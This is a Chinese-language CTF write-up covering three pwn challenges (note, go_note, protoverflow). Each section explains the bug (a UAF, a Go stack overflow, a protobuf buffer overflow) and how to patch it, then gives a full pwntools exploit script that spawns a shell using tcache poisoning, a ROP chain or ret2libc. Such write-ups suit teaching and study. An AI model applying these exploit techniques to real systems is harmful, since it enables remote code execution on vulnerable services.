note
最简单的一道题
fix
delete功能中存在UAF,直接free nop掉即可过check。
break
普通的glibc-2.31版本的UAF,直接打tcachebin申请到free_hook触发system。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *from pwn import u64,u32,p64,p32from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('127.0.0.1' , 10001 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num).decode()) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) libc = ELF('./libc.so.6' ) def add (size,c ): rl("5. exit\n" ) sl(str (1 )) rl("The size of your content: \n" ) sl(str (size)) rl("content: \n" ) s(c) def edit (idx,size,c ): rl("5. exit\n" ) sl(str (2 )) rl("index: " ) sl(str (idx)) rl("The size of your content: \n" ) sl(str (size)) rl("Content: \n" ) s(c) def free (idx ): rl("5. exit\n" ) sl(str (3 )) rl("index: " ) sl(str (idx)) def show (idx ): rl("5. exit\n" ) sl(str (4 )) rl("index: " ) sl(str (idx)) for i in range (10 ): add(0x90 ,b'/bin/sh\x00' ) for i in range (7 ): free(i) free(7 ) show(7 ) libc_leak = uu64() lg("libc_leak" ,libc_leak) libc_base = libc_leak-0x1ecbe0 lg("libcbase" ,libc_base) free_hook=libc_base+libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] edit(6 ,0x90 ,p64(free_hook)) add(0x90 ,b'a' ) add(0x90 ,p64(system)) free(9 ) inter()
go_note
看见go本来就害怕,一看名字又是go的堆直接吓的不敢看,所以是比赛快结束的时候才看,后来发现就是个栈溢出。
一般go语言都是直接dbg开调,因为题目名字的原因最开始猜测可能也是UAF,所以就试了一下发现不是的,然后就开始测一下edit功能是不是有溢出,然后确认了确实是edit中存在了溢出,但是以为是堆溢出,后来乱输了一堆垃圾数据测了一下,发现是栈溢出。
找到了溢出点。
fix
漏洞在for循环中值传递,所以将对应的赋值语句nop即可,也就是nop掉mov [r12], r13b
break
触发read系统调用将’/bin/sh\x00’读到bss段后再触发execve(‘/bin/sh\x00’,0,0)即可
1 2 3 4 5 rax=0x000000000040fbdd #pop rax; pop rbp; ret; rdx=0x000000000047a8fa #pop rdx ; ret rdi=0x0000000000462498 #pop rdi ; add eax, 0xc1894800 ; mov rax, rdx ; add rsp, 0xf8 ; pop rbp ; ret rsi=0x0000000000462552 #pop rsi; add eax, 0xc1894800d; xor eax, eax; add rsp, 0xf8; pop rbp; ret; syscall=0x000000000045e0a9
找到这些gadget。pop rdi和pop rsi时要控制好rsp,保证执行链的完整。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 from pwn import *from pwn import u64,u32,p64,p32from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('8.147.132.114' , 43759 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num).decode()) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) def add (content ): rl("Your choice > " ) sl('1' ) rl("Please input note content: " ) sl(content) def delete (index ): rl("Your choice > " ) sl('2' ) rl("Please input note id: " ) sl(str (index)) def edit (index,content ): rl("Your choice > " ) sl('3' ) rl("Please input note id: " ) sl(str (index)) rl("Please input new content: " ) sl(content) def show (index ): rl("Your choice > " ) sl('4' ) rl("Please input note id: " ) sl(str (index)) add('a' *0x100 ) rax=0x000000000040fbdd rdx=0x000000000047a8fa rdi=0x0000000000462498 rsi=0x0000000000462552 syscall=0x000000000045e0a9 bss=0x526680 +0x1000 edit(1 ,'a' ) payload=b'a' *(0x40 )+p64(rdi)+p64(0 )+b'a' *0xf8 +p64(bss)+p64(rsi)+p64(bss)+b'a' *0xf8 +p64(bss)+p64(rdx)+p64(0x100 )+p64(syscall) payload+=p64(rdi)+p64(bss)+b'a' *0xf8 +p64(bss)+p64(rsi)+p64(0 )+b'a' *0xf8 +p64(bss)+p64(rdx)+p64(0 )+p64(rax)+p64(0x3b )+p64(0 )+p64(syscall) edit(1 ,payload) s(b'/bin/sh\x00' ) inter()
protoverflow
这是比赛时第二个选择做的题,这个proto考点,国赛好像很喜欢出,之前没有好好学过,比赛的时候很难受,非常之后悔没学。
去学习一下protobuf的原理以及配合python包解题就会发现这个题也是个栈溢出,很简单。
利用ptbk工具提取出文件中的proto数据结构
1 ./extractors/from_binary.py ./pwn ./
1 2 3 4 5 6 7 8 syntax = "proto2" ; message protoMessage { optional string name = 1 ; optional string phoneNumber = 2 ; required bytes buffer = 3 ; required uint32 size = 4 ; }
然后生成python包。
1 protoc --python_out=./ message.proto
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 """Generated protocol buffer code.""" from google.protobuf.internal import builder as _builderfrom google.protobuf import descriptor as _descriptorfrom google.protobuf import descriptor_pool as _descriptor_poolfrom google.protobuf import symbol_database as _symbol_database_sym_db = _symbol_database.Default() DESCRIPTOR = _descriptor_pool.Default().AddSerializedFile(b'\n\rmessage.proto\"O\n\x0cprotoMessage\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x13\n\x0bphoneNumber\x18\x02 \x01(\t\x12\x0e\n\x06\x62uffer\x18\x03 \x02(\x0c\x12\x0c\n\x04size\x18\x04 \x02(\r' ) _builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals ()) _builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'message_pb2' , globals ()) if _descriptor._USE_C_DESCRIPTORS == False : DESCRIPTOR._options = None _PROTOMESSAGE._serialized_start=17 _PROTOMESSAGE._serialized_end=96
break
在python脚本中利用import导入这个模块,然后利用对应的方法打包数据将其转化为序列化的字节流进行发送交互。经测试发现是由proto数据结构中的buffer导致的栈溢出,因为程序开头泄露了libc地址,所以利用ret2libc打即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 from pwn import *from pwn import u64,u32,p64,p32from ctypes import *from libcfind import *from LibcSearcher import *import base64import syscontext(os='linux' , arch='amd64' , log_level='debug' ) context.terminal = ["tmux" , "splitw" , "-h" ] debug = 1 if debug: p = process('./pwn' ) elf = ELF('./pwn' ) else : p = remote('127.0.0.1' , 10001 ) elf = ELF('./pwn' ) s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096 : p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096 : sys.stdout.write(p.recv(num).decode()) inter = lambda : p.interactive() l32 = lambda : u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 , b'\x00' )) l64 = lambda : u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) uu32 = lambda : u32(p.recv(4 ).ljust(4 , b'\x00' )) uu64 = lambda : u64(p.recv(6 ).ljust(8 , b'\x00' )) int16 = lambda data: int (data, 16 ) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num)) import message_pb2rl("Gift: 0x" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) puts_addr = int (p.recv(12 ),16 ) lg("puts_addr" ,puts_addr) libc_base = puts_addr - libc.symbols['puts' ] lg("libc_base" ,libc_base) ret = 0x0000000000029139 + libc_base pop_rdi = 0x000000000002a3e5 + libc_base binsh = libc_base + libc.search(b'/bin/sh' ).__next__() lg("ret" ,ret) system = libc_base + libc.symbols['system' ] pl = b'a' *0x218 pl += p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) msg = message_pb2.protoMessage() msg.name="1" msg.phoneNumber="2" msg.buffer = pl msg.size = len (pl) serialized_msg = msg.SerializeToString() s(serialized_msg) inter()